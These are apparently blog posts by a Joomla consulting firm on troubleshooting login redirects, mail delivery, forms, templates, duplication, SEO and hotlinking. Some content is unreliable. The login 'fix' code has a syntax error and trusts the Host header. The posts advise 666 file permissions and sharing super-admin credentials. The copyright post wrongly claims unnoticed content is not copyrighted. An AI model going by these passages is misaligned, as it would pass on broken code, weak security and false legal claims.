Fixing the Login Twice and the Logout Twice Problem on Your Joomla Frontend

One of our customers had a very odd problem that we fixed a couple of days ago: whenever someone tried to login to his frontend, he had to do it twice. The login worked from the first time in rare situations, but most of the times the person had to enter his username and password twice (it always worked in the second time). The same problem existed for the logout. The person had to logout twice. (We noticed that the person had to logout twice only when he had to login twice)

When we started working on the website, we didn’t know what the problem is. We checked the login extension (module and component) to see if there’s anything wrong with them, but everything was fine. We also did a quick check on all the user related files, yet nothing seemed to be the culprit – the only non-standard thing that we saw was a redirect happening on a login to a 3rd party website before redirecting back to the problem (we have seen this on several other website, so we never thought of it as a problem). It was a very weird problem.

We then wanted to see if the username and password are actually posted (stored in $_POST) the first time the user tries to login, and they were…

Our next step was to examine the $_SESSION array to see if it’s actually storing the user information: it was rarely storing this information from the first time, and it was always storing it from the second time. Additionally, when the person was trying to logout, it was not clearing the user information from the first time (in most case) – but was always clearing the information from the second time the user clicked on the logout button.

We did spend some time trying to examine what the problem was, but, at one point, someone on the team noticed (while passing by) that the user was being redirected on login from http://www.ourcusomterjoomlawebsite/ to http://ourcustomerjoomlawebsite. That was the problem! That small non-standard script that we mentioned earlier was redirecting to a 3rd party website on login and then redirecting back to the website – but it was redirecting to the wrong link. Our client had hacked the controller.php file located under ourcustomerjoomlawebsite/components/com_user/ by adding the following lines after $error = $mainframe->login($credentials, $options); by adding the following code:

$redirect_url = urlencode('http://ourcusomterjoomlawebsite/');
$authentication = $thirdPartyOject->getAuthentication();
$return = 'http://3rdpartywebsite/?authentication='.$authentication.'&redirect_url='.urlencode($redirect_url);

So, his Joomla website was redirecting to a 3rd party website and then redirecting back to his Joomla website, but without the www. So, if registered users used http://www.ourcusomterjoomlawebsite/ to login to his website, they were redirected back to http://ourcusomterjoomlawebsite/ and that’s why they looked as logged out. If they tried to login from http://ourcusomterjoomlawebsite/ then the login worked from the first time because the redirect was redirecting to the same website (Note: technically, and from a cookie-based perspective, there is a huge difference between www and non-www: if a person logs in to the www version of the website it does not mean that he’s logged in to the non-www version, that’s why some large websites do something called “cookie migration” to prevent this problem from happening with their users).

A similar script was found on the logout action.

To solve the login problem, we changed the above code to:

$redirect_url = urlencode('http://'. $_SERVER['HTTP_HOST'];);
$return = 'http://3rdpartywebsite/?remote_auth_token='.$remote_auth_login_token.'&redirect_url='.urlencode($redirect_url);

By using $_SERVER['HTTP_HOST'], we ensured that the 3rd party website always redirected to the same website. We did the same thing on the logout script and that solved the problem!

If you have the above problem on your Joomla website (you need to login and logout twice) or any other Joomla problem and you need help than that’s why we’re here for! Just contact us and we’ll be more than glad to help you. You don’t worry about our fees, they’re very reasonable!

SendMail Problems with Joomla

We had a very interesting job today. A new client came to us, and told us that his Joomla website was not sending emails. We first thought that it was the settings that he had on his configuration, but everything was fine. His mail settings were correct, he was using “PHP Mailer” as Mailer and his sendmail path was set to /usr/sbin/sendmail. Odd!

We then thought that he didn’t have sendmail installed so we checked on his server and it was indeed, installed. Sendmail did exist under /usr/sbin.

Our next step was to see if it’s a Joomla problem or not, so we created a small test script called test.php on the root directory of the website. The file contained the following code:

<?php
$to    = 'ouremail';
$subject= 'Email Subject';
$body    = 'This is the body of the email';
$headers='From: ouremail' . "\r\n" .
'Reply-To: ouremail' . "\r\n" .
'X-Mailer: itoctopus!';
$mail_sent = mail($to, $subject, $body, $headers);
if ($mail_sent)
	echo('Email sent');
else
	echo('Email not sent');
?>

The example above is just a simple script to send an email to ourselves. The script just prints Email sent in case the email was successfully sent, and Email not sent in case the email wasn’t successfully sent. To our surprise, the script printed Email sent, so the email was actually sent, but how come we received nothing? This case was becoming more curious.

Our next step was to check the mail log, by typing the below (when connected through SSH):

tail /var/log/mail.log

We saw a curious error in the above log that looked like the below:

Feb 14 21:28:36 joomla16 postfix/smtp[19374]: 30F574182B: to=ouremail, relay=itoctopus.com[67.222.6.192]:25, delay=2.3, delays=0.04/0.01/2.2/0.06, dsn=5.0.0, status=bounced (host itoctopus.com[67.222.6.192] said: 550 Access denied - Invalid HELO name (See RFC2821 4.1.1.1) (in reply to MAIL FROM command))

Ah ha! So the mail was indeed sent, but it was rejected by our server. The above error tells us that the cause of rejection is because the server sending the email has a spammy looking hostname (the Invalid HELO name). So, the key to solving the problem lies in the configuration file for Postfix.

Here’s what we did:

  • We opened the file /etc/postfix/main.cf (which is the main configuration file for Postfix).
  • We located this line: myhostname = localhost (this should be the 30th line in the main.cf configuration file).
  • We changed it to myhostname = ourclientjoomlawebsite.com.

We restarted postfix and then we tested our email script and it worked! We then moved to test the emails on the Joomla website itself and they worked as well! Problem solved! The whole work, including the investigation and testing, was done in just over 2 hours. Our client was happy, and we were happy!

In case you have problems with mail on your Joomla website, then we’ll be happy to help you (all you need to do is to contact us!). The work shouldn’t take us that much time and it won’t cost you much!

RSForm Not Working on Your Joomla Website?

We are currently working on a very interesting project. The project consists of a migration of a Joomla website to another sever, as well as several major fixes to the website. One of these “fixes” revolve around an RSForm Form, that doesn’t work. The form seems to submit, but then redirects back to itself (instead of going to specified thank you page), without populating the database, and without sending the necessary emails.

After analyzing the problem, we have discovered that it’s related to 3 issues:

  1. Caching
  2. SEF
  3. Captchas

The problem was indeed very weird. We did the necessary research on it, and we discovered that the people at RSFom are aware of it, and they told their uses to fix it using a hack, which is very annoying. The hack mainly consists of using a non-SEF link to access the form itself. We thought (Ehemm…) that we can do better!

After a lot of analysis, we discovered that the problem lies in the System Cache plugin. This was already confirmed by the RSForm people but we needed to make sure. So, in order to fix the problem, we need to ensure that all the forms that we have do not use the System Cache plugin. Here’s what we did:

  • We opened the file cache.php, which is located under /yourjoomlawebsite/plugins/system.
  • We created an exception, in every function, that explicitly tells the function to avoid running any script if the page is one of these forms (we used the $_SERVER['REQUEST_URI'] to check for the page name).
  • We saved the file and we uploaded it back.
  • The RSForm still didn’t work!

Odd!

We then tried creating the exact same form: We created a form and we copied all the fields to the new form. We tried the form and it worked! So, apparently what we did solved the problem, so how come the first form still doesn’t work?

After heaving investigation, we discovered that the form had another problem: The form had a catpcha, layout autgeneration was disabled, and the custom layout did not include the captcha at all. We fixed this problem and now the form works! (Hooray!)

We have to say that the RSForm is one of the better extensions that we work on, but, as with all other extensions, it has its own quirks! And, there was one wise Joomla expert that once said: “No matter what you do, there will be a day when cache and SEF are going to bite you!”

If you have an RSForm that doesn’t work, and if you need help doing the above or if doing the above doesn’t work for you, then feel free to contact us, we’re here to help! We’ll do the job in record time and our rates are very fair!

Unable to Edit the CSS File in Joomla?

Occasionally, one of our (potential) clients calls us and tells that he’s not able to edit the CSS file on his Joomla website. Usually, the client just wants to change a color or a font. Sometimes the client is not able to see the Template Manager section so he’s not even able to see the CSS file. In other cases, the client is able to see the Template Manager section, and is able to view the CSS file of a particular template, but he’s not able to save the CSS.

Usually in the first case, when the person is not even able to see the Template Manager menu, the problem is because the person is not given a super administrator access to the website. This is because only super administrators are allowed to edit the templates and the CSS files of the templates. This problem can be remedied by granting super administrative access to that person, or by creating another super administrator user on the website and giving that person the username and password of the newly created user.

In the second situation (where the user is attempting to save his edits to the CSS file of the Joomla website and he’s getting an error message) it’s more likely a permission issue on the CSS file. For example the CSS file could be assigned the 444 permissions, which means that any user on the system can read the file, but no one can write to it. Changing the permissions briefly to 644 will solve the problem (if not, then try changing the permissions to 666). Here’s how permissions can be changed on the CSS file: 1) FTP to your website using your favorite clients, 2) locate the CSS file (the CSS file of your Joomla website should be located under /yourjoomlawebsite.com/templates/yourtemplatename/css/template.css, 3) right click on the file and change the permissions by setting them to -rw-r--r-- (644) or, if this doesn’t work, then change the permissions to -rw-rw-rw-.

Now you should be able to edit and save your CSS file. But, what if you change your CSS file and nothing happens (the changes aren’t reflected on your website)? Then, you might have one of the following problems:

  • Your browser is caching the previous CSS. Clear your browser cache and see if that solves the problem.
  • You are trying to change the wrong CSS file for the wrong template.
  • You are trying to change the right CSS file for the right template, but you’re changing the wrong CSS class.
  • You’re changing the right CSS class, but there is another CSS class in another supporting CSS file (such as red.css) that overrides the CSS class you’re trying to change.

If you’re still having problems with your CSS file on your Joomla template, then feel free to contact us – we’ll definitely help you. Oh and don’t worry about our fees, they are very cheap!

Is It Worth It to Upgrade to Joomla 2.5?

Every since Joomla 2.5 was released last week, customers have been asking us this question: “Is it worth it to upgrade to Joomla 2.5?” That’s a very legitimate question. Our answer to this question is always like this: “It’s worth it as there are some features that are in Joomla 2.5 that do not exist in previous categories, but what’s the rush?”

The thing is we don’t think it’s pressing for people to adopt Joomla 2.5, and we have 4 reasons why:

  1. Joomla 2.5 is very new (it’s only 9 days old at the time of writing this post) and it’s not tested very well by the community yet. It’s better to wait for more sites to have it installed and wait until all the bugs are fixed.
  2. Many extensions still don’t support Joomla 2.5, so you’ll have the latest Joomla version, but you won’t have any templates or extensions that are compatible with it, and it’ll be very hard and costly to migrate your templates and extensions to the latest version of Joomla.

  3. Joomla’s latest versions were a flop. Remember the 1.6 version and the 1.7 version? Not too many people adopted them and many bugs were reported. Joomla 1.6 and Joomla 1.7 are both retired/to be retired before Joomla 1.5 is retired (Joomla 1.5 is by far the most stable Joomla version right now). It’s better to wait for a few months to see if Joomla 2.5 will be any different than the previous 2 versions or if it will share the same fate.

  4. The upgrade from Joomla 1.5 to Joomla 2.5 is a painful, very painful process. Most likely in the future the Joomla people will develop a simpler process to do the upgrade.

Unfortunately, we think that Joomla didn’t do well with the latest Joomla releases (Joomla 1.6 and Joomla 1.7), and that’s why at itoctopus, we don’t trust the latest version as of yet. We’ll have to wait a few months to see if there are stability/security/compatibility issues with this version. Until then, we suggest you remain with whatever version of Joomla you currently have installed. From the experience we have from working on many Joomla websites throughout the years, we can safely say that Joomla 1.5 is by far the most stable. Joomla 1.6 is the worst, followed by Joomla 1.7. We are currently neutral on Joomla 2.5, but that neutrality might change to either a positive or a negative opinion in the future (we hope it’ll be positive).

If you really want to upgrade to Joomla 2.5 then we can help you do this. Just contact us and we’ll be very happy to serve you! (We’re the friendliest Joomla experts out there!)

Which Joomla File Is the Database?

Every other week or so, we get a call from a (potential) client that goes like this:

Client: “Hi!”
Us: “Hi!”http://www.itoctopus.com/wp-admin/post.php?action=edit&post=1329&message=1
Client: “I would like to make some edits to my database, and I want to know which Joomla file is the database.”
Us: “Well sir, the database is not stored in any Joomla file, the database is (usually) MySQL database – Joomla just connects to this database.”

The above conversation is typical, there is a misconception that there is a Joomla file where all the data is stored, which is not the case. In this post, we will explain where is the Joomla database, and what are the two main Joomla files used to connect and interact with the database.

Where is the Joomla database?

The Joomla database exists on usually a MySQL server, the name of the database is declared in your configuration.php file. In order to view your Joomla database, you will need to do the following:

  • Login to your cPanel account.
  • Go to your phpMyAdmin in cPanel (there should be a phpMyAdmin icon somewhere in the middle of your cPanel home screen).
  • Locate the name of your database (which is declared in the $db variable in your configuration.php file) and click on it (in phpMyAdmin).
  • Now you can view all the tables in your database (you can click on any table to view its contents). Your data is stored in these tables, for example, your articles are stored in jos_content, and your users are stored in jos_users.

What are the two main files that are used to connect to your Joomla database?

Joomla mainly uses 2 files (of course, there are many supporting files, but these two are the main ones) to connect to your database and to interact with your database:

  1. configuration.php: This file is located under the root directory of your Joomla website. It contains the connection parameters to your database, specifically:
    • The type of the database: The type of the database is usually mysql, and it is stored in the $db_type variable.
    • The name of the database: This is the name of the database storing the data for your Joomla website. The database name is stored in the $db variable.
    • The table prefix: Also known as database/table alias, the table prefix defines what prefix should be appended to your Joomla tables in the database. The table prefix is defaulted to jos_, that’s why in the Joomla database, you have tables such as jos_categories instead of just categories. The table prefix is defined by the $table_prefix variable. The table prefix is useful in case you have multiple websites powered by the same database (and you don’t need to have conflicts between the tables). It is also very useful for security (it will be hard to guess your table name if you change the table prefix. (see 10 Security Tips for Your Joomla Website).
    • The database user: The username that is used to connect to your Joomla database. It is stored in the $user variable.
    • The user’s password: This is the password of the user above. It is stored in the $password variable.

    Now, we have all the connection parameters to the database, but how do we connect to the database and get data? Well, that’s the job of database.php!

  2. database.php: This file is located under this folder: /yourjoomlawebsite/libraries/joomla/database/, and it is responsible for connecting to the database (by using the connection parameters in configuration.php), getting data from your database, and inserting/modifying/deleting data in your database.

    The database.php file contains a class called JDatabase that contains all the methods needed to interact with your database. Note that you should never change the database.php file. Doing so may leave your website non-operational.

If you have problems with your Joomla database and you need help, then that why we’re here for! Just contact us and we’ll do our best to help you! We’re also very fun to work with!

25 Joomla Important Tips

In this post, we will list the most important tips that you can use to have a safe, fast, and efficient Joomla website. The tips are grouped into 3 categories:

  1. Security tips
  2. Performance tips
  3. General tips

Important security tips for Joomla

We have discussed before 10 security tips for your Joomla website. We will re-discuss them concisely (and a bit differently) in this section…

  1. Always have the latest Joomla version for your website: This is a very good practice, since usually the Joomla people fix some important security issues (as well as functionality/performance issues) in the latest version. However, don’t jump to adopt the latest released version – wait a few months until others test it.

  2. Ensure your Joomla version is not available to the world to see: Hackers/spammers exploit your Joomla website based on its version. If you hide the Joomla version of your website, you will make their job a bit harder.

  3. Do not install extensions that don’t look trustworthy: Only install high-rated extensions by reputable developers. Note that paid extensions are not necessarily safer or more robust than free extensions.

  4. Always update your Joomla extensions to the latest version: Outdated Joomla extensions are popular targets for spammers and hackers. It is necessary that you update your Joomla extensions to the latest version, as latest versions always have security/performance patches.

  5. Don’t rely on Joomla’s built-in security – install security extensions: There are many reliable security extensions for Joomla. Choose one and install it (just ensure that the one you’re about to install doesn’t conflict with the functionality of your website).

  6. Change the defaults in your configuration.php file: The configuration.php file in your Joomla website’s root directory has many default values that should be changed, including the following: $secret and $dbprefix (the latter is also referred to as the table alias).

  7. Give only write permissions to files/directories that need to be written by the outside world: Ensure that your template files, your configuration file, your .htaccess file, and all Joomla core files are given the 444 permission (which just gives read permission to every group).

  8. Your passwords shouldn’t be the same forever: Most hacked websites suffer from a common problem – the passwords of these websites (and the services related to these websites such as MySQL, FTP, etc…) are never changed. Change your passwords often, and make sure that your passwords are strong!

  9. Block malicious code from being uploaded to your website: Malicious code uploaded to a website should be the #1 worry of any Joomla administrator. You should block malicious code from being uploaded by filtering HTML and removing all JavaScript tags. In short, people should only be allowed to upload pure text (no HTML, no JavaScript). Also, ensure that the directory where people upload files to has no execute permissions (otherwise, they can upload a malicious PHP file and execute it on your server).

  10. Check your website by running 3rd party scans: There are many tools available on the Internet that will scan your website for security issues.

  11. Ensure that your environment is clean: Your hosting environment should have the latest version of everything: Apache, PHP, MySQL. Additionally, you should, if your budget affords it, have your Joomla website run on its own dedicated server (especially if it’s your main business).

  12. Read the logs: Your website logs are created for a reason – so that someone can read them. Check the logs to see any suspicious activities on your website.

Important performance tips for Joomla

Some of the security tips above (such as reading the logs and updating your Joomla website and its extensions) have a positive effect on the performance of your Joomla website. In addition to that, here are some other tips:

  1. Ensure that all the tables are optimized: Check all the tables in your Joomla database and ensure that all the fields are optimized. E.g. the fields are the correct type (for example, a field that is only 0 or 1 doesn’t need to be an integer, it can be a boolean), and that fields that are used in search queries are indexed.
  2. Check your slow query log: The slow query log can reveal serious bottlenecks that are chocking your website. By checking your slow query log you’ll be able to determine which queries are slowing down your whole website. This comment on one of our previous posts states that the person had a query that was taking 30 minutes to be executed – we’re sure that he used the slow query log to find that query.

  3. Clean your Joomla website directory: Your Joomla website directory should only contain Joomla core files, configuration files, extensions, and user uploaded data. It shouldn’t contain test files or test directories (or even backup files). Ensure that this directory is always clean.

  4. Clean your database: Ensure that the database for your Joomla website has only Joomla related tables. Also, remove all test data/obsolete data from your tables. (We know, it’s a very tedious job. But it can do miracles to your website’s performance).

  5. Completely uninstall extensions that you’re not using: You’ll be amazed how many things are done when a page on a Joomla website loads. Ensure that only the necessary things are executed when a page is loading, by removing all unnecessary extensions (especially plugins).

  6. Optimize Joomla’s core code: Joomla’s code is very generic and it’s most likely overkill for you own website (there are many conditions that are executed that are never relevant to your website). You will definitely see a performance gain if you optimize Joomla’s core code to fit your own needs, as well as the extensions that you’re using. However, it is important to know that once you tweak Joomla’s core code, it’ll be impossible for you to move to another Joomla version smoothly. You will need to hack the Joomla version that you’re moving to as well… In addition to that, you will need to have some very good programming skills in order to tweak Joomla’s core.

  7. Optimize your template: From our experience, Joomla templates (whether paid or not) are usually not very optimized. This is because they’re written by non-programmers or by weak programmers. Optimizing your Joomla template usually optimizes the performance of your Joomla website.

Important general tips for Joomla

Here are some general Joomla tips that will just make your Joomla website better and more versatile.

  1. Read the documentation that comes with your Joomla template: Almost every (complicated) Joomla template comes with documentation on how to install it. For some reason, most Joomla administrators don’t read it, and that’s why the template doesn’t work. Reading the instructions that came with the template will save you a lot of time and headache later on.
  2. Check extensions for “free” links: Some developers, even those developing paid extensions, think that they are entitled to place a “free” link to their website on your Joomla website in return for you using their extensions. We think this is wrong, and it will negatively affect the SEO of your website especially if a lot of “bad neighborhood” sites are linking to the developer’s website (which tends to be the case almost all the time). Check the code of these extensions in order to remove these links.

  3. Ensure polymorphic paths are used: Some extensions use only http paths when including some files (images/css/js). This is wrong. The path to any file should be polymorphic, in other words, it should change to https under https mode, and to http under http mode. Note that the use of non-polymorphic paths is the main cause of VirtueMart errors on checkout.

  4. Use SSL only when needed: Only use SSL on checkout pages – other than that, use normal http. The reason of this is that there is some overhead associated with using SSL, for both the client machine and the server.

  5. Ensure that the order of the plugins is correct: Generally, cache plugins should be executed last, and before them SEO/SEF should be executed. All other plugins should be executed first. However, you may need to tweak that order depending on the plugins.

  6. Use caching wisely: Ask any programmer, and he’ll tell you that caching, in Joomla, is a necessary evil. Ensure that you only use caching where there are significant performance gains. Menus and other interactive modules should not be cached (you can disable caching at the module level).

We know it’s hard to implement the above especially if you don’t have any programming experience, and that’s why wer’e here to help. Also, if you want continued maintenance of your Joomla website, then check our Joomla maintenance package. It’ll ensure that your website works and performs as it should – all the time! Oh, and it’s very affordable!

How to Duplicate a Joomla Site

We have explained before how you can move your Joomla website from one server to another. That post, with minor modification, can be used to duplicate your Joomla website. However, we are going to explain the whole process from scratch to make it easier for you, our readers/customers.

In short, the process is:

  • Download your Joomla website, preferably through FTP
  • Export your database, preferably through phpMyAdmin
  • Upload your downloaded Joomla website to the new location
  • Import the exported database into a new database
  • Change the configuration.php file to point to the right Joomla installation and the right database

So, the first thing that you need to is to download your Joomla website. All you need to do in this step is to connect through FTP to your website, and download all the folders/files in the remote directory of your Joomla website. The folders/files should be downloaded to a local directory on your machine, let’s call this directory myjoomlawebsite.

The second step is to export the database. All you need to do is to go the phpMyAdmin interface of your current Joomla website, click on the name of the database of your Joomla website (it should be on the left), and then click on the “Import/Export” tab on the top right. Follow the instructions there to export your database. Call the exported file myjoomlawebsite.sql

Now that you have the database and the files, you need to move them to the new location (where you want to duplicate your website). The first thing that you need to do is to upload the files: Just connect, through FTP, to the location where you want to place the duplicated website in, and then upload all the folders/files that are in myjoomlawebsite. Now that the folders/files are uploaded, you will need to import the database. Just go to the phpMyAdmin of the new location (which may or may not be on the new server), create a new database and call it, for example, myjoomladatabase2, and then click on import on the top. Follow the instructions to import myjoomlawebsite.sql into myjoomladatabase2.

Now the final step is to modify the configuration.php file, which is located in the root directory of your Joomla copied site, to point to the correct database and to the right website. Here’s how to do this:

  • Open your configuration.php file located under your duplicated Joomla website.
  • Change the value of $db to the name of the duplicated database, which is myjoomladatabase2.
  • Change the value of $user and $password to point to the right ones (that are able to access the duplicated database).
  • Change the value of the $live_site to your new domain (or sub-domain)
  • Change the value of the $log_path and $tmp_path to point to the physical log and temporary directory paths on the new website.
  • That’s it!

Just following the above instructions is sufficient to duplicate your Joomla website.

Some important things to mention:

  • Duplicating your website and making your website viewable for the world (including search engines) is a big no-no. It will dilute the value of your content and your website will lose a lot of its credibility, especially if search engines discover that you’re the one behind the duplication of the website, and it wasn’t just someone stealing your content (it will be considered as duplicate content). If you must duplicate your website, then make sure that the new website is only reachable through an Apache password (by using an htpasswd file).
  • We don’t recommend using Akeeba to duplicate your Joomla website as we have seen may stability issues caused by Akeeba imports. If you still want to use Akeeba, then you will need to follow a different process: you will first need to install an empty Joomla website (you need to ensure it’s the same version), and then install Akeeba, and then use Akeeba to import your new website.

  • In some cases, your Joomla copy, even when duplicated correctly, will not work. This is because of differences in the environments between your original Joomla environment and your duplicated Joomla environment. The differences in the environments can stem from differences in PHP versions, PHP modules, Apache versions, MySQL versions, etc…

If you need help duplicating your Joomla website then all you need to do is contact us. Our fees are very cheap and we’re always excited to work with new customers!

How to Handle Duplicate Content on Your Joomla Website?

One of the worst things (SEO wise) that you can have on your Joomla website is duplicate content. Duplicate content will dilute the importance of your content by confusing search engines on which content to list in the SERPs (Search Engine Results Pages). There are many causes for duplicate content to appear on your website:

  • You have links that contain flags that do not change the content of your pages. For example, we know that some versions of VirtueMart (under specific settings) add this flag redirected=1 (this happens when you are being redirected from https to http) and this one flypage= to the links of your products pages. These links are internal for VirtueMart and do not change the content whatsoever.
  • You are using a mix of SEF/non SEF links on your Joomla website for the same pages. For example, you are linking to both http//www.yourjoomlawebsite.com?option=com_content&articleId=5 and http://www.yourjoomlawebsite.com/yourarticle.html which are actually the same pages.

  • You have the exact same content under different links. For example, you have something like http://www.yourjoomlawebsite.com/featured/yourarticle.html and http://www.yourjoomlawebsite.com/yourarticle.html.

  • You have a printer-friendly and/or pdf versions of your articles, but you’re not using the no-index search engine directive for these versions.

  • Your website is indexed in both the www and the non-www versions. So, if you enter something like “site:www.yourjoomlawebsite.com” and “site:yourjooomlawebsite.com” on Google you will get a different number of results .

Of course, the scenarios for having duplicate content are endless, and may be intentional or non-intentional, but the outcome is still always the same: a lower search ranking than the one your content deserves. So, how do you address duplicate content issues on your Joomla website? Below are some tips for doing this, that are considered to be good practices from a search engine perspective, and that will get rid of the problems above:

  • Use the robots.txt: The robots.txt is always read by search engines. It will tell search engines which pages to index (and subsequently rank) and which pages to not index. The robots.txt file should be placed in the root directory of your website. In order, for example, to block Google/Yahoo/Bing from indexing VirtueMart pages with the ?redirected=1 flag, you will need to add the following line in your robots.txt file:

    Disallow: /*?redirected=1

    The above line tells search engines not to crawl and not to index any page that ends with ?redirected=1 .

    Now let’s disallow indexing of printer-friendly versions of the website. We can do it from robots.txt if the link to the printer friendly version ends with printer=1. Here’s how to do it in this case:

    Disallow: /*printer=1

    Now, every link that ends with printer=1 will not be indexed (of course, you might want to slightly modify this to accommodate your needs).

  • Use the no-index directive: We have explained, in the above, how to use robots.txt to block search engines from indexing your printer-friendly pages. But this can be done also at the page level, by using the no-index directive. All you need to do is add the following code at the top of your printer-friendly page:

    <meta name="robots" content="noindex, nofollow">

    The above will instruct search engines not to index the printer-friendly page, and not to follow any links on that page.

  • Do not have a mix of SEF and non-SEF links on your website: Check your website to see which pages link to non-SEF links and fix these links. Note that if these links are generated by Joomla extensions, then you may need to change the order of the plugins in order to fix the problem. We suggest that you contact Joomla Experts in this situation.

  • Have only one version of your website: By default, any website has two versions: a www version an a non-www. You will need to choose which one to use (it is advisable to go with the one that has the highest PageRank on Google, and let go of the other one). Once you decide on which version to choose, you need to tell search engines about your decision by redirecting (using the .htaccess file) traffic from the version that you do not want to the version that you want. Here’s how to do so (assuming you want to redirect non-www traffic to www):

    RewriteEngine On
    RewriteCond %{HTTP_HOST} ^yourjoomlawebsite.com
    RewriteRule (.*) http://www.yourjoomlawebsite.com/$1 [R=301,L]

  • Ensure that your pages do not contain content copied from other pages on your website: While this is tolerated by search engines when only done in a couple of pages, it is considered as spam in case it’s done in several pages.

Once the above tips are implemented, your website will most likely be more appreciated by search engines, and subsequently your traffic will increase. In case you need help implementing any of the above, then don’t hesitate to contact us. We’re here to help you, we’re very friendly, and we will treat your business as ours. Oh, and be sure to check our very affordable rates!

How to Protect Your Content on Your Joomla Website

Before discussing the topic in the title, we want to say that this is the hundredth post on our blog! Hooray! We took a decision last year to blog nearly 5 times a week about the technical issues that we face during our work on your websites, so that other people can learn from our knowledge! Posts on our blog vary in complexity from very easy to very difficult – but we have striven to make every post easy to read, to understand, and to apply. Also, whenever possible, we have suggested different ways to accomplish the same thing – depending on your technical knowledge and/or depending on your environment.

Now let’s get back to the main topic – how can someone protect content on his Joomla website. The short answer is that there is no way for someone to protect his content on any website (whether it’s Joomla or not) – when the information is public, it just becomes public. For example, if someone reads one of your articles and likes it, he may just copy it and use it elsewhere. However, there are ways to deter non-technical people from stealing your content, such as:

  • Disabling right-clicking: You can disable right clicking on your Joomla website by adding some JavaScript code either in your main template or in a Jumi module that is available on all the pages on your website. Note that technical people can just disable JavaScript to overcome this obstacle (and then they will be able to steal your content).
  • Streaming your videos: Using streaming to display videos is the best way as it’s much lighter on your bandwidth and people won’t just download the video and then place it on another website. Again, this method can be overcome by installing a browser plugin that will allow the download of a streamed video.

  • Blocking access to content thieves: If your website doesn’t receive a lot of traffic, then you’ll be able, after a thorough analysis of your weblogs, to know which IP is stealing content from your Joomla website. You can either block that IP or block the country that hosts this IP altogether. Again, if the person is persistent, then he might try to use a proxy to illegally gain access to your website.

  • Adding a copyright notice: Something like © copyright www.yourjoomlawebsite.com will deter many content thieves, especially those residing in developed countries. Note that every website owner should add this line to every page of his/her website, otherwise, the content of these pages is not copyrighted and thus can be used by anyone in any manner (that’s according to the law). Usually, the copyright notice should be added to the footer of your website (which will make it available on every page). By adding this copyright notice, your content will be protected by the DMCA (Digital Millennium Copyright Act).

  • Checking for duplicates on the Internet: As a website owner, one of the tasks that you should do regularly is to search for content duplicates all over the web. For example, let’s say that you have this sentence in one of your articles: The lazy fox jumped over quick brown dog who was following a frog who was trying to eat a fly. To check for duplicates on the web, you copy this sentence, and you add enclosing quotes, so it will be “The lazy fox jumped over quick brown dog who was following a frog who was trying to eat a fly” and then you search for it on Google. If you see websites other than yours displaying this content (it is very unlikely that another website will have this exact same content by pure coincidence), then they most likely stole it for you. The first thing to do is to alert the website owner telling him to remove the article off his website. If he refuses to do so or if he doesn’t reply, then your next step is to alert Google.

If you need help implementing one or more of the above steps, or if you need further help in protecting your content on your Joomla website, then look no further: we, at itoctopus, will definitely help you. Just contact us and we’ll take it from there!

Joomla Template Is Not Working!

Sometimes you find a very beautiful Joomla template (no, not all Joomla websites are ugly), you download it, and then you install it. Once you try to install it, you will be faced with one of the six following scenarios:

  1. The template works and your website looks exactly as the demo image/website for the template.

    Possible cause(s):

    • The template perfectly matches your Joomla version and doesn’t require extensions that you don’t have installed and activated.

    Action(s) to take:

    • None. You’re now proud of your website and of your work! Congratulations!
  2. The template works, but displays a few errors here and there.

    Possible Cause(s):

    • You are missing some extensions (modules or plugins) that the template requires to work perfectly.
    • The template’s code contains some small errors.

    Action(s) to take:

    • Read the template’s manual to see what kind of extensions it requires. Most templates come with a manual explaining how to install the template and what are the extensions the template needs.
    • Check the template’s code for any error and fix it.

  3. The template works, but doesn’t look exactly as the demo image/website for that template.

    Possible Cause(s):

    • The template requires some extensions, but it is well programmed to work well even without these extensions.

    Action(s) to take:

    • Read the template’s instructions manual and see what are the extensions it needs to work perfectly.
  4. The template doesn’t work, and you see a blank page on your website.

    Possible Cause(s):

    • Your Joomla website is set to hide all errors (regardless of how critical they are) and the template requires the presence of either an extension that you don’t have (or you don’t have installed) or is using a PHP function/class that is not available in your environment.

    • The template you have downloaded contains a fatal error in the code.

    Action(s) to take:

    • Change your configuration settings to show the errors. Once the errors are revealed, then you can examine where the error is originating from and you will be able to know how to solve the problem.

    • Check to see if there’s a call to a PHP function that you don’t have. If this is the case then contact your hosting company with the problem; they will be able to sort it out for you.

  5. The template doesn’t work, and you see a page full of errors on your website.

    Possible Cause(s):

    • The template cannot work without one or more extensions, and you don’t have this(these) extension(s) installed and activated. (Note that these required extensions are usually plugins)
    • There is a PHP error in the actual code of the template.

    • There is a call to a PHP function or a PHP class that does not exist in your environment.

    Action(s) to take:

    • Check each and every error message to see what are the files that the template is complaining that it cannot find. These missing files usually tell you what are the extensions that you need but you don’t have to run this template.
    • Read the instructions manual of the template. It will usually tell you what are the extensions that the template needs.

    • Check to see if the errors are about complaints to non-existing functions that seem to be PHP functions. If this is the case, then you will need either to contact your hosting provider (as described above) or try to create equivalent functions yourself.

    • Check to see if the errors are about a missing semi-column here or there or some wrong PHP code. If this is the case, then you will need to fix these errors in the template yourself or have some Joomla Experts fix it for you.

  6. The template cannot be installed.

    Possible Cause(s):

    • The template is written for a Joomla version other than the one you have on your website. For example, you’re trying to install a Joomla 1.5 template on your Joomla 1.7 website (or vice versa).
    • The template’s XML file is not well formatted and the Joomla template installer is unable to recognized it as a definition file for your Joomla template.

    Action(s) to take:

    • Check the XML file for the template to see if it’s written for your Joomla version or not. If the Joomla template is written for another Joomla version than the one you have, then either fix it so that it can work on the Joomla version of your choice or just search for a different template altogether.
    • Check the XML file for the template to see if it contains any errors (unclosed tags, etc…) and fix these errors.

If you run into any problem installing a Joomla template, then feel free to contact us. We’re always ready to help and our rates are extremely affordable!

How to Prevent Hotlinking in Joomla

Hotlinking is one of the most annoying problems on the Internet that website owners have to deal with. Hotlinking is when one website includes in one or more of its pages a reference to one or more of your images (or videos, or pdf documents, or music files, etc…). In other words, let’s say that you have, on your Joomla website (let’s call your website yourjoomlawebsite.com), an image called robot.jpg under the images/stories directory. That image is about 1 MB in size. Another website (let’s call it leecherwebsite.com) has a page called leecherpage.html that has some text and the following HTML code:

<img src="http://yourjoomlawebsite.com/images/stories/robot.jpg" title="checkout this cute robot!" alt="checkout this cute robot!">

As you can see, the page leecherpage.html directly referenced your image on your website, which means that every time someone visits that page, that someone will consume from your bandwidth (because your website will serve the image). The problem gets worse when the image is retrieved from the database (and not stored on the file system) because of the overhead on your database engine and subsequently your processing power (which will eventually make your website slower). The problem gets far, far worse when a page is hotlinking to one of your self-hosted videos – this will literally drain your bandwidth.

